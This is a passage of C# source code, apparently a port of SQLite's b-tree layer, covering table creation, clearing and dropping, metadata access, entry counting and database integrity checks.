PTRMAP_ROOTPAGE); Debug.Assert(eType != PTRMAP_FREEPAGE); rc = relocatePage(pBt, pRoot, eType, iPtrPage, pgnoMove, 0); releasePage(pRoot); /* Obtain the page at pgnoRoot */ if (rc != SQLITE_OK) { return rc; } rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0); if (rc != SQLITE_OK) { return rc; } rc = sqlite3PagerWrite(pRoot.pDbPage); if (rc != SQLITE_OK) { releasePage(pRoot); return rc; } } else { pRoot = pPageMove; } /* Update the pointer-map and meta-data with the new root-page number. */ ptrmapPut(pBt, pgnoRoot, PTRMAP_ROOTPAGE, 0, ref rc); if (rc != 0) { releasePage(pRoot); return rc; } rc = sqlite3BtreeUpdateMeta(p, 4, pgnoRoot); if (rc != 0) { releasePage(pRoot); return rc; } } else { rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0); if (rc != 0) return rc; } #endif Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage)); zeroPage(pRoot, flags | PTF_LEAF); sqlite3PagerUnref(pRoot.pDbPage); piTable = (int)pgnoRoot; return SQLITE_OK; } static int sqlite3BtreeCreateTable(Btree p, ref int piTable, int flags) { int rc; sqlite3BtreeEnter(p); rc = btreeCreateTable(p, ref piTable, flags); sqlite3BtreeLeave(p); return rc; } /* ** Erase the given database page and all its children. Return ** the page to the freelist. */ static int clearDatabasePage( BtShared pBt, /* The BTree that contains the table */ Pgno pgno, /* Page number to clear */ int freePageFlag, /* Deallocate page if true */ ref int pnChange ) { MemPage pPage = new MemPage(); int rc; byte[] pCell; int i; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); if (pgno > pagerPagecount(pBt)) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } rc = getAndInitPage(pBt, pgno, ref pPage); if (rc != 0) return rc; for (i = 0; i < pPage.nCell; i++) { int iCell = findCell(pPage, i); pCell = pPage.aData; // pCell = findCell( pPage, i ); if (0 == pPage.leaf) { rc = clearDatabasePage(pBt, sqlite3Get4byte(pCell, iCell), 1, ref pnChange); if (rc != 0) goto cleardatabasepage_out; } rc = clearCell(pPage, iCell); if (rc != 0) goto cleardatabasepage_out; } if (0 == pPage.leaf) { rc = clearDatabasePage(pBt, sqlite3Get4byte(pPage.aData, 8), 1, ref pnChange); if (rc != 0) goto cleardatabasepage_out; } else //if (pnChange != 0) { //Debug.Assert(pPage.intKey != 0); pnChange += pPage.nCell; } if (freePageFlag != 0) { freePage(pPage, ref rc); } else if ((rc = sqlite3PagerWrite(pPage.pDbPage)) == 0) { zeroPage(pPage, pPage.aData[0] | PTF_LEAF); } cleardatabasepage_out: releasePage(pPage); return rc; } /* ** Delete all information from a single table in the database. iTable is ** the page number of the root of the table. After this routine returns, ** the root page is empty, but still exists. ** ** This routine will fail with SQLITE_LOCKED if there are any open ** read cursors on the table. Open write cursors are moved to the ** root of the table. ** ** If pnChange is not NULL, then table iTable must be an intkey table. The ** integer value pointed to by pnChange is incremented by the number of ** entries in the table. */ static int sqlite3BtreeClearTable(Btree p, int iTable, ref int pnChange) { int rc; BtShared pBt = p.pBt; sqlite3BtreeEnter(p); Debug.Assert(p.inTrans == TRANS_WRITE); /* Invalidate all incrblob cursors open on table iTable (assuming iTable ** is the root of a table b-tree - if it is not, the following call is ** a no-op). */ invalidateIncrblobCursors(p, 0, 1); rc = saveAllCursors(pBt, (Pgno)iTable, null); if (SQLITE_OK == rc) { rc = clearDatabasePage(pBt, (Pgno)iTable, 0, ref pnChange); } sqlite3BtreeLeave(p); return rc; } /* ** Erase all information in a table and add the root of the table to ** the freelist. Except, the root of the principle table (the one on ** page 1) is never added to the freelist. ** ** This routine will fail with SQLITE_LOCKED if there are any open ** cursors on the table. ** ** If AUTOVACUUM is enabled and the page at iTable is not the last ** root page in the database file, then the last root page ** in the database file is moved into the slot formerly occupied by ** iTable and that last slot formerly occupied by the last root page ** is added to the freelist instead of iTable. In this say, all ** root pages are kept at the beginning of the database file, which ** is necessary for AUTOVACUUM to work right. piMoved is set to the ** page number that used to be the last root page in the file before ** the move. If no page gets moved, piMoved is set to 0. ** The last root page is recorded in meta[3] and the value of ** meta[3] is updated by this procedure. */ static int btreeDropTable(Btree p, Pgno iTable, ref int piMoved) { int rc; MemPage pPage = null; BtShared pBt = p.pBt; Debug.Assert(sqlite3BtreeHoldsMutex(p)); Debug.Assert(p.inTrans == TRANS_WRITE); /* It is illegal to drop a table if any cursors are open on the ** database. This is because in auto-vacuum mode the backend may ** need to move another root-page to fill a gap left by the deleted ** root page. If an open cursor was using this page a problem would ** occur. ** ** This error is caught long before control reaches this point. */ if (NEVER(pBt.pCursor)) { sqlite3ConnectionBlocked(p.db, pBt.pCursor.pBtree.db); return SQLITE_LOCKED_SHAREDCACHE; } rc = btreeGetPage(pBt, (Pgno)iTable, ref pPage, 0); if (rc != 0) return rc; int Dummy0 = 0; rc = sqlite3BtreeClearTable(p, (int)iTable, ref Dummy0); if (rc != 0) { releasePage(pPage); return rc; } piMoved = 0; if (iTable > 1) { #if SQLITE_OMIT_AUTOVACUUM freePage(pPage, ref rc); releasePage(pPage); #else if (pBt.autoVacuum) { Pgno maxRootPgno = 0; sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref maxRootPgno); if (iTable == maxRootPgno) { /* If the table being dropped is the table with the largest root-page ** number in the database, put the root page on the free list. */ freePage(pPage, ref rc); releasePage(pPage); if (rc != SQLITE_OK) { return rc; } } else { /* The table being dropped does not have the largest root-page ** number in the database. So move the page that does into the ** gap left by the deleted root-page. */ MemPage pMove = new MemPage(); releasePage(pPage); rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0); if (rc != SQLITE_OK) { return rc; } rc = relocatePage(pBt, pMove, PTRMAP_ROOTPAGE, 0, iTable, 0); releasePage(pMove); if (rc != SQLITE_OK) { return rc; } pMove = null; rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0); freePage(pMove, ref rc); releasePage(pMove); if (rc != SQLITE_OK) { return rc; } piMoved = (int)maxRootPgno; } /* Set the new 'max-root-page' value in the database header. This ** is the old value less one, less one more if that happens to ** be a root-page number, less one again if that is the ** PENDING_BYTE_PAGE. */ maxRootPgno--; while (maxRootPgno == PENDING_BYTE_PAGE(pBt) || PTRMAP_ISPAGE(pBt, maxRootPgno)) { maxRootPgno--; } Debug.Assert(maxRootPgno != PENDING_BYTE_PAGE(pBt)); rc = sqlite3BtreeUpdateMeta(p, 4, maxRootPgno); } else { freePage(pPage, ref rc); releasePage(pPage); } #endif } else { /* If sqlite3BtreeDropTable was called on page 1. ** This really never should happen except in a corrupt ** database. */ zeroPage(pPage, PTF_INTKEY | PTF_LEAF); releasePage(pPage); } return rc; } static int sqlite3BtreeDropTable(Btree p, int iTable, ref int piMoved) { int rc; sqlite3BtreeEnter(p); rc = btreeDropTable(p, (u32)iTable, ref piMoved); sqlite3BtreeLeave(p); return rc; } /* ** This function may only be called if the b-tree connection already ** has a read or write transaction open on the database. ** ** Read the meta-information out of a database file. Meta[0] ** is the number of free pages currently in the database. Meta[1] ** through meta[15] are available for use by higher layers. Meta[0] ** is read-only, the others are read/write. ** ** The schema layer numbers meta values differently. At the schema ** layer (and the SetCookie and ReadCookie opcodes) the number of ** free pages is not visible. So Cookie[0] is the same as Meta[1]. */ static void sqlite3BtreeGetMeta(Btree p, int idx, ref u32 pMeta) { BtShared pBt = p.pBt; sqlite3BtreeEnter(p); Debug.Assert(p.inTrans > TRANS_NONE); Debug.Assert(SQLITE_OK == querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK)); Debug.Assert(pBt.pPage1 != null); Debug.Assert(idx >= 0 && idx <= 15); pMeta = sqlite3Get4byte(pBt.pPage1.aData, 36 + idx * 4); /* If auto-vacuum is disabled in this build and this is an auto-vacuum ** database, mark the database as read-only. */ #if SQLITE_OMIT_AUTOVACUUM if( idx==BTREE_LARGEST_ROOT_PAGE && pMeta>0 ) pBt.readOnly = 1; #endif sqlite3BtreeLeave(p); } /* ** Write meta-information back into the database. Meta[0] is ** read-only and may not be written. */ static int sqlite3BtreeUpdateMeta(Btree p, int idx, u32 iMeta) { BtShared pBt = p.pBt; byte[] pP1; int rc; Debug.Assert(idx >= 1 && idx <= 15); sqlite3BtreeEnter(p); Debug.Assert(p.inTrans == TRANS_WRITE); Debug.Assert(pBt.pPage1 != null); pP1 = pBt.pPage1.aData; rc = sqlite3PagerWrite(pBt.pPage1.pDbPage); if (rc == SQLITE_OK) { sqlite3Put4byte(pP1, 36 + idx * 4, iMeta); #if !SQLITE_OMIT_AUTOVACUUM if (idx == BTREE_INCR_VACUUM) { Debug.Assert(pBt.autoVacuum || iMeta == 0); Debug.Assert(iMeta == 0 || iMeta == 1); pBt.incrVacuum = iMeta != 0; } #endif } sqlite3BtreeLeave(p); return rc; } #if !SQLITE_OMIT_BTREECOUNT /* ** The first argument, pCur, is a cursor opened on some b-tree. Count the ** number of entries in the b-tree and write the result to pnEntry. ** ** SQLITE_OK is returned if the operation is successfully executed. ** Otherwise, if an error is encountered (i.e. an IO error or database ** corruption) an SQLite error code is returned. */ static int sqlite3BtreeCount(BtCursor pCur, ref i64 pnEntry) { i64 nEntry = 0; /* Value to return in pnEntry */ int rc; /* Return code */ rc = moveToRoot(pCur); /* Unless an error occurs, the following loop runs one iteration for each ** page in the B-Tree structure (not including overflow pages). */ while (rc == SQLITE_OK) { int iIdx; /* Index of child node in parent */ MemPage pPage; /* Current page of the b-tree */ /* If this is a leaf page or the tree is not an int-key tree, then ** this page contains countable entries. Increment the entry counter ** accordingly. */ pPage = pCur.apPage[pCur.iPage]; if (pPage.leaf != 0 || 0 == pPage.intKey) { nEntry += pPage.nCell; } /* pPage is a leaf node. This loop navigates the cursor so that it ** points to the first interior cell that it points to the parent of ** the next page in the tree that has not yet been visited. The ** pCur.aiIdx[pCur.iPage] value is set to the index of the parent cell ** of the page, or to the number of cells in the page if the next page ** to visit is the right-child of its parent. ** ** If all pages in the tree have been visited, return SQLITE_OK to the ** caller. */ if (pPage.leaf != 0) { do { if (pCur.iPage == 0) { /* All pages of the b-tree have been visited. Return successfully. */ pnEntry = nEntry; return SQLITE_OK; } moveToParent(pCur); } while (pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell); pCur.aiIdx[pCur.iPage]++; pPage = pCur.apPage[pCur.iPage]; } /* Descend to the child node of the cell that the cursor currently ** points at. This is the right-child if (iIdx==pPage.nCell). */ iIdx = pCur.aiIdx[pCur.iPage]; if (iIdx == pPage.nCell) { rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8)); } else { rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, iIdx))); } } /* An error has occurred. Return an error code. */ return rc; } #endif /* ** Return the pager associated with a BTree. This routine is used for ** testing and debugging only. */ static Pager sqlite3BtreePager(Btree p) { return p.pBt.pPager; } #if !SQLITE_OMIT_INTEGRITY_CHECK /* ** Append a message to the error message string. */ static void checkAppendMsg( IntegrityCk pCheck, string zMsg1, string zFormat, params object[] ap ) { //va_list ap; if (0 == pCheck.mxErr) return; pCheck.mxErr--; pCheck.nErr++; va_start(ap, zFormat); if (pCheck.errMsg.nChar != 0) { sqlite3StrAccumAppend(pCheck.errMsg, "\n", 1); } if (!String.IsNullOrEmpty(zMsg1)) { sqlite3StrAccumAppend(pCheck.errMsg, zMsg1, -1); } sqlite3VXPrintf(pCheck.errMsg, 1, zFormat, ap); va_end(ap); //if( pCheck.errMsg.mallocFailed ){ // pCheck.mallocFailed = 1; //} } #endif //* SQLITE_OMIT_INTEGRITY_CHECK */ #if !SQLITE_OMIT_INTEGRITY_CHECK /* ** Add 1 to the reference count for page iPage. If this is the second ** reference to the page, add an error message to pCheck.zErrMsg. ** Return 1 if there are 2 ore more references to the page and 0 if ** if this is the first reference to the page. ** ** Also check that the page number is in bounds. */ static int checkRef(IntegrityCk pCheck, Pgno iPage, string zContext) { if (iPage == 0) return 1; if (iPage > pCheck.nPage) { checkAppendMsg(pCheck, zContext, "invalid page number %d", iPage); return 1; } if (pCheck.anRef[iPage] == 1) { checkAppendMsg(pCheck, zContext, "2nd reference to page %d", iPage); return 1; } return ((pCheck.anRef[iPage]++) > 1) ? 1 : 0; } #if !SQLITE_OMIT_AUTOVACUUM /* ** Check that the entry in the pointer-map for page iChild maps to ** page iParent, pointer type ptrType. If not, append an error message ** to pCheck. */ static void checkPtrmap( IntegrityCk pCheck, /* Integrity check context */ Pgno iChild, /* Child page number */ u8 eType, /* Expected pointer map type */ Pgno iParent, /* Expected pointer map parent page number */ string zContext /* Context description (used for error msg) */ ) { int rc; u8 ePtrmapType = 0; Pgno iPtrmapParent = 0; rc = ptrmapGet(pCheck.pBt, iChild, ref ePtrmapType, ref iPtrmapParent); if (rc != SQLITE_OK) { //if( rc==SQLITE_NOMEM || rc==SQLITE_IOERR_NOMEM ) pCheck.mallocFailed = 1; checkAppendMsg(pCheck, zContext, "Failed to read ptrmap key=%d", iChild); return; } if (ePtrmapType != eType || iPtrmapParent != iParent) { checkAppendMsg(pCheck, zContext, "Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)", iChild, eType, iParent, ePtrmapType, iPtrmapParent); } } #endif /* ** Check the integrity of the freelist or of an overflow page list. ** Verify that the number of pages on the list is N. */ static void checkList( IntegrityCk pCheck, /* Integrity checking context */ int isFreeList, /* True for a freelist. False for overflow page list */ int iPage, /* Page number for first page in the list */ int N, /* Expected number of pages in the list */ string zContext /* Context for error messages */ ) { int i; int expected = N; int iFirst = iPage; while (N-- > 0 && pCheck.mxErr != 0) { DbPage pOvflPage = new PgHdr(); byte[] pOvflData; if (iPage < 1) { checkAppendMsg(pCheck, zContext, "%d of %d pages missing from overflow list starting at %d", N + 1, expected, iFirst); break; } if (checkRef(pCheck, (u32)iPage, zContext) != 0) break; if (sqlite3PagerGet(pCheck.pPager, (Pgno)iPage, ref pOvflPage) != 0) { checkAppendMsg(pCheck, zContext, "failed to get page %d", iPage); break; } pOvflData = sqlite3PagerGetData(pOvflPage); if (isFreeList != 0) { int n = (int)sqlite3Get4byte(pOvflData, 4); #if !SQLITE_OMIT_AUTOVACUUM if (pCheck.pBt.autoVacuum) { checkPtrmap(pCheck, (u32)iPage, PTRMAP_FREEPAGE, 0, zContext); } #endif if (n > pCheck.pBt.usableSize / 4 - 2) { checkAppendMsg(pCheck, zContext, "freelist leaf count too big on page %d", iPage); N--; } else { for (i = 0; i < n; i++) { Pgno iFreePage = sqlite3Get4byte(pOvflData, 8 + i * 4); #if !SQLITE_OMIT_AUTOVACUUM if (pCheck.pBt.autoVacuum) { checkPtrmap(pCheck, iFreePage, PTRMAP_FREEPAGE, 0, zContext); } #endif checkRef(pCheck, iFreePage, zContext); } N -= n; } } #if !SQLITE_OMIT_AUTOVACUUM else { /* If this database supports auto-vacuum and iPage is not the last ** page in this overflow list, check that the pointer-map entry for ** the following page matches iPage. */ if (pCheck.pBt.autoVacuum && N > 0) { i = (int)sqlite3Get4byte(pOvflData); checkPtrmap(pCheck, (u32)i, PTRMAP_OVERFLOW2, (u32)iPage, zContext); } } #endif iPage = (int)sqlite3Get4byte(pOvflData); sqlite3PagerUnref(pOvflPage); } } #endif //* SQLITE_OMIT_INTEGRITY_CHECK */ #if !SQLITE_OMIT_INTEGRITY_CHECK /* ** Do various sanity checks on a single page of a tree. Return ** the tree depth. Root pages return 0. Parents of root pages ** return 1, and so forth. ** ** These checks are done: ** ** 1. Make sure that cells and freeblocks do not overlap ** but combine to completely cover the page. ** NO 2. Make sure cell keys are in order. ** NO 3. Make sure no key is less than or equal to zLowerBound. ** NO 4. Make sure no key is greater than or equal to zUpperBound. ** 5. Check the integrity of overflow pages. ** 6. Recursively call checkTreePage on all children. ** 7. Verify that the depth of all children is the same. ** 8. Make sure this page is at least 33% full or else it is ** the root of the tree. */ static int checkTreePage( IntegrityCk pCheck, /* Context for the sanity check */ int iPage, /* Page number of the page to check */ string zParentContext /* Parent context */ ) { MemPage pPage = new MemPage(); int i, rc, depth, d2, pgno, cnt; int hdr, cellStart; int nCell; u8[] data; BtShared pBt; int usableSize; string zContext = "";//[100]; byte[] hit = null; sqlite3_snprintf(200, ref zContext, "Page %d: ", iPage); /* Check that the page exists */ pBt = pCheck.pBt; usableSize = pBt.usableSize; if (iPage == 0) return 0; if (checkRef(pCheck, (u32)iPage, zParentContext) != 0) return 0; if ((rc = btreeGetPage(pBt, (Pgno)iPage, ref pPage, 0)) != 0) { checkAppendMsg(pCheck, zContext, "unable to get the page. error code=%d", rc); return 0; } /* Clear MemPage.isInit to make sure the corruption detection code in ** btreeInitPage() is executed. */ pPage.isInit = 0; if ((rc = btreeInitPage(pPage)) != 0) { Debug.Assert(rc == SQLITE_CORRUPT); /* The only possible error from InitPage */ checkAppendMsg(pCheck, zContext, "btreeInitPage() returns error code %d", rc); releasePage(pPage); return 0; } /* Check out all the cells. */ depth = 0; for (i = 0; i < pPage.nCell && pCheck.mxErr != 0; i++) { u8[] pCell; u32 sz; CellInfo info = new CellInfo(); /* Check payload overflow pages */ sqlite3_snprintf(200, ref zContext, "On tree page %d cell %d: ", iPage, i); int iCell = findCell(pPage, i); //pCell = findCell( pPage, i ); pCell = pPage.aData; btreeParseCellPtr( pPage, iCell, ref info ); //btreeParseCellPtr( pPage, pCell, info ); sz = info.nData; if (0 == pPage.intKey) sz += (u32)info.nKey; Debug.Assert(sz == info.nPayload); if ((sz > info.nLocal) //&& (pCell[info.iOverflow]<=&pPage.aData[pBt.usableSize]) ) { int nPage = (int)(sz - info.nLocal + usableSize - 5) / (usableSize - 4); Pgno pgnoOvfl = sqlite3Get4byte(pCell, iCell, info.iOverflow); #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum) { checkPtrmap(pCheck, pgnoOvfl, PTRMAP_OVERFLOW1, (u32)iPage, zContext); } #endif checkList(pCheck, 0, (int)pgnoOvfl, nPage, zContext); } /* Check sanity of left child page. */ if (0 == pPage.leaf) { pgno = (int)sqlite3Get4byte(pCell, iCell); //sqlite3Get4byte( pCell ); #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum) { checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, zContext); } #endif d2 = checkTreePage(pCheck, pgno, zContext); if (i > 0 && d2 != depth) { checkAppendMsg(pCheck, zContext, "Child page depth differs"); } depth = d2; } } if (0 == pPage.leaf) { pgno = (int)sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); sqlite3_snprintf(200, ref zContext, "On page %d at right child: ", iPage); #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum) { checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, ""); } #endif checkTreePage(pCheck, pgno, zContext); } /* Check for complete coverage of the page */ data = pPage.aData; hdr = pPage.hdrOffset; hit = new byte[pBt.pageSize]; //sqlite3PageMalloc( pBt.pageSize ); //if( hit==null ){ // pCheck.mallocFailed = 1; //}else { u16 contentOffset = (u16)get2byte(data, hdr + 5); Debug.Assert(contentOffset <= usableSize); /* Enforced by btreeInitPage() */ //memset(hit+contentOffset, 0, usableSize-contentOffset); //memset(hit, 1, contentOffset); for (int iLoop = contentOffset - 1; iLoop >= 0; iLoop--) hit[iLoop] = 1; nCell = get2byte(data, hdr + 3); cellStart = hdr + 12 - 4 * pPage.leaf; for (i = 0; i < nCell; i++) { int pc = get2byte(data, cellStart + i * 2); u16 size = 1024; int j; if (pc <= usableSize - 4) { size = cellSizePtr(pPage, data, pc); } if ((pc + size - 1) >= usableSize) { checkAppendMsg(pCheck, null, "Corruption detected in cell %d on page %d", i, iPage, 0); } else { for (j = pc + size - 1; j >= pc; j--) hit[j]++; } } i = get2byte(data, hdr + 1); while (i > 0) { int size, j; Debug.Assert(i <= usableSize - 4); /* Enforced by btreeInitPage() */ size = get2byte(data, i + 2); Debug.Assert(i + size <= usableSize); /* Enforced by btreeInitPage() */ for (j = i + size - 1; j >= i; j--) hit[j]++; j = get2byte(data, i); Debug.Assert(j == 0 || j > i + size); /* Enforced by btreeInitPage() */ Debug.Assert(j <= usableSize - 4); /* Enforced by btreeInitPage() */ i = j; } for (i = cnt = 0; i < usableSize; i++) { if (hit[i] == 0) { cnt++; } else if (hit[i] > 1) { checkAppendMsg(pCheck, "", "Multiple uses for byte %d of page %d", i, iPage); break; } } if (cnt != data[hdr + 7]) { checkAppendMsg(pCheck, null, "Fragmentation of %d bytes reported as %d on page %d", cnt, data[hdr + 7], iPage); } } // sqlite3PageFree(ref hit); releasePage(pPage); return depth + 1; } #endif //* SQLITE_OMIT_INTEGRITY_CHECK */ #if !SQLITE_OMIT_INTEGRITY_CHECK /* ** This routine does a complete check of the given BTree file. aRoot[] is ** an array of pages numbers were each page number is the root page of ** a table. nRoot is the number of entries in aRoot. ** ** A read-only or read-write transaction must be opened before calling ** this function. ** ** Write the number of error seen in pnErr. Except for some memory ** allocation errors, an error message held in memory obtained from ** malloc is returned if pnErr is non-zero. If pnErr==null then NULL is ** returned. If a memory allocation error occurs, NULL is returned. */ static string sqlite3BtreeIntegrityCheck( Btree p, /* The btree to be checked */ int[] aRoot, /* An array of root pages numbers for individual trees */ int nRoot, /* Number of entries in aRoot[] */ int mxErr, /* Stop reporting errors after this many */ ref int pnErr /* Write number of errors seen to this variable */ ) { Pgno i; int nRef; IntegrityCk sCheck = new IntegrityCk(); BtShared pBt = p.pBt; StringBuilder zErr = new StringBuilder(100);//char zErr[100]; sqlite3BtreeEnter(p); Debug.Assert(p.inTrans > TRANS_NONE && pBt.inTransaction > TRANS_NONE); nRef = sqlite3PagerRefcount(pBt.pPager); sCheck.pBt = pBt; sCheck.pPager = pBt.pPager; sCheck.nPage = pagerPagecount(sCheck.pBt); sCheck.mxErr = mxErr; sCheck.nErr = 0; //sCheck.mallocFailed = 0; pnErr = 0; if (sCheck.nPage == 0) { sqlite3BtreeLeave(p); return ""; } sCheck.anRef = new int[sCheck.nPage + 1];//sqlite3Malloc( (sCheck.nPage+1)*sizeof(sCheck.anRef[0]) ); //if( !sCheck.anRef ){ // pnErr = 1; // sqlite3BtreeLeave(p); // return 0; //} // for (i = 0; i <= sCheck.nPage; i++) { sCheck.anRef[i] = 0; } i = PENDING_BYTE_PAGE(pBt); if (i <= sCheck.nPage) { sCheck.anRef[i] = 1; } sqlite3StrAccumInit(sCheck.errMsg, zErr, zErr.Capacity, 20000); /* Check the integrity of the freelist */ checkList(sCheck, 1, (int)sqlite3Get4byte(pBt.pPage1.aData, 32), (int)sqlite3Get4byte(pBt.pPage1.aData, 36), "Main freelist: "); /* Check all the tables. */ for (i = 0; (int)i < nRoot && sCheck.mxErr != 0; i++) { if (aRoot[i] == 0) continue; #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum && aRoot[i] > 1) { checkPtrmap(sCheck, (u32)aRoot[i], PTRMAP_ROOTPAGE, 0, ""); } #endif checkTreePage(sCheck, aRoot[i], "List of tree roots: "); } /* Make sure every page in the file is referenced */ for (i = 1; i <= sCheck.nPage && sCheck.mxErr != 0; i++) { #if SQLITE_OMIT_AUTOVACUUM if( sCheck.anRef[i]==null ){ checkAppendMsg(sCheck, 0, "Page %d is never used", i); } #else /* If the database supports auto-vacuum, make sure no tables contain ** references to pointer-map pages. */ if (sCheck.anRef[i] == 0 && (PTRMAP_PAGENO(pBt, i) != i || !pBt.autoVacuum)) { checkAppendMsg(sCheck, null, "Page %d is never used", i); } if (sCheck.anRef[i] != 0 && (PTRMAP_PAGENO(pBt, i) == i && pBt.autoVacuum)) { checkAppendMsg(sCheck, null, "Pointer map page %d is referenced", i); } #endif } /* Make sure this analysis did not leave any unref() pages. ** This is an internal consistency check; an integrity check ** of the integrity check. */ if (NEVER(nRef != sqlite3PagerRefcount(pBt.pPager))) { checkAppendMsg(sCheck, null, "Outstanding page count goes from %d to %d during this analysis", nRef, sqlite3PagerRefcount(pBt.pPager) ); } /* Clean up and report errors. */ sqlite3BtreeLeave(p); sCheck.anRef = null;// sqlite3_free( ref sCheck.anRef ); //if( sCheck.mallocFailed ){ // sqlite3StrAccumReset(sCheck.errMsg); // pnErr = sCheck.nErr+1; // return 0; //} pnErr = sCheck.nErr; if (sCheck.nErr == 0) sqlite3StrAccumReset(sCheck.errMsg); return sqlite3StrAccumFinish(sCheck.errMsg); } #endif //* SQLITE_OMIT_INTEGRITY_CHECK */ /* ** Return the full pathname of the underlying database file. ** ** The pager filename is invariant as long as the pager is ** open so it is safe to access without the BtShared mutex. */ static string sqlite3BtreeGetFilename(Btree p) { Debug.Assert(p.pBt.pPager != null); return sqlite3PagerFilename(p.pBt.pPager); } /* ** Return the pathname of the journal file for this database. The return ** value of this routine is the same regardless of whether the journal file ** has been created or not. ** ** The pager journal filename is invariant as long as the pager is ** open so it is safe to access without the BtShared mutex. */ static string sqlite3BtreeGetJournalname(Btree p) { Debug.Assert(p.pBt.pPager != null); return sqlite3PagerJournalname(p.pBt.pPager); } /* ** Return non-zero if a transaction is active. */ static bool sqlite3BtreeIsInTrans(Btree p) { Debug.Assert(p == null || sqlite3_mutex_held(p.db.mutex)); return (p != null && (p.inTrans == TRANS_WRITE)); } /* ** Return non-zero if a read (or write) transaction is active. */ static bool sqlite3BtreeIsInReadTrans(Btree p) { Debug.Assert(p != null); Debug.Assert(sqlite3_mutex_held(p.db.mutex)); return p.inTrans != TRANS_NONE; } static bool sqlite3BtreeIsInBackup(Btree p) { Debug.Assert(p != null); Debug.Assert(sqlite3_mutex_held(p.db.mutex)); return p.nBackup != 0; } /* ** This function returns a pointer to a blob of memory associated with ** a single shared-btree. The memory is used by client code for its own ** purposes (for example, to store a high-level schema associated with ** the shared-btree). The btree layer manages reference counting issues. ** ** The first time this is called on a shared-btree, nBytes bytes of memory ** are allocated, zeroed, and returned to the caller. For each subsequent ** call the nBytes parameter is ignored and a pointer to the same blob ** of memory returned. ** ** If the nBytes parameter is 0 and the blob of memory has not yet been ** allocated, a null pointer is returned. If the blob has already been ** allocated, it is returned as normal. ** ** Just before the shared-btree is closed, the function passed as the ** xFree argument when the memory allocation was made is invoked on the ** blob of allocated memory. This function should not call sqlite3_free(ref ) ** on the memory, the btree layer does that. */ static Schema sqlite3BtreeSchema(Btree p, int nBytes, dxFreeSchema xFree) { BtShared pBt = p.pBt; sqlite3BtreeEnter(p); if (null == pBt.pSchema && nBytes != 0) { pBt.pSchema = new Schema();//sqlite3MallocZero(nBytes); pBt.xFreeSchema = xFree; } sqlite3BtreeLeave(p); return pBt.pSchema; } /* ** Return SQLITE_LOCKED_SHAREDCACHE if another user of the same shared ** btree as the argument handle holds an exclusive lock on the ** sqlite_master table. Otherwise SQLITE_OK. */ static int sqlite3BtreeSchemaLocked(Btree p) { int rc; Debug.Assert(sqlite3_mutex_held(p.db.mutex)); sqlite3BtreeEnter(p); rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK); Debug.Assert(rc == SQLITE_OK || rc == SQLITE_LOCKED_SHAREDCACHE); sqlite3BtreeLeave(p); return rc; } #if !SQLITE_OMIT_SHARED_CACHE /* ** Obtain a lock on the table whose root page is iTab. The ** lock is a write lock if isWritelock is true or a read lock ** if it is false. */ int sqlite3BtreeLockTable(Btree p, int iTab, u8 isWriteLock){ int rc = SQLITE_OK; Debug.Assert( p.inTrans!=TRANS_NONE ); if( p.sharable ){ u8 lockType = READ_LOCK + isWriteLock; Debug.Assert( READ_LOCK+1==WRITE_LOCK ); Debug.Assert( isWriteLock==null || isWriteLock==1 ); sqlite3BtreeEnter(p); rc = querySharedCacheTableLock(p, iTab, lockType); if( rc==SQLITE_OK ){ rc = setSharedCacheTableLock(p, iTab, lockType); } sqlite3BtreeLeave(p); } return rc; } #endif #if !SQLITE_OMIT_INCRBLOB /* ** Argument pCsr must be a cursor opened for writing on an ** INTKEY table currently pointing at a valid table entry. ** This function modifies the data stored as part of that entry. ** ** Only the data content may only be modified, it is not possible to ** change the length of the data stored. If this function is called with ** parameters that attempt to write past the end of the existing data, ** no modifications are made and SQLITE_CORRUPT is returned. */ int sqlite3BtreePutData(BtCursor pCsr, u32 offset, u32 amt, void *z){ int rc; Debug.Assert( cursorHoldsMutex(pCsr) ); Debug.Assert( sqlite3_mutex_held(pCsr.pBtree.db.mutex) ); Debug.Assert( pCsr.isIncrblobHandle ); rc = restoreCursorPosition(pCsr); if( rc!=SQLITE_OK ){ return rc; } Debug.Assert( pCsr.eState!=CURSOR_REQUIRESEEK ); if( pCsr.eState!=CURSOR_VALID ){ return SQLITE_ABORT; } /* Check some assumptions: ** (a) the cursor is open for writing, ** (b) there is a read/write transaction open, ** (c) the connection holds a write-lock on the table (if required), ** (d) there are no conflicting read-locks, and ** (e) the cursor points at a valid row of an intKey table. */ if( !pCsr.wrFlag ){ return SQLITE_READONLY; } Debug.Assert( !pCsr.pBt.readOnly && pCsr.pBt.inTransaction==TRANS_WRITE ); Debug.Assert( hasSharedCacheTableLock(pCsr.pBtree, pCsr.pgnoRoot, 0, 2) ); Debug.Assert( !hasReadConflicts(pCsr.pBtree, pCsr.pgnoRoot) ); Debug.Assert( pCsr.apPage[pCsr.iPage].intKey ); return accessPayload(pCsr, offset, amt, (byte[] *)z, 1); } /* ** Set a flag on this cursor to cache the locations of pages from the ** overflow list for the current row. This is used by cursors opened ** for incremental blob IO only. ** ** This function sets a flag only. The actual page location cache ** (stored in BtCursor.aOverflow[]) is allocated and used by function ** accessPayload() (the worker function for sqlite3BtreeData() and ** sqlite3BtreePutData()). */ void sqlite3BtreeCacheOverflow(BtCursor pCur){ Debug.Assert( 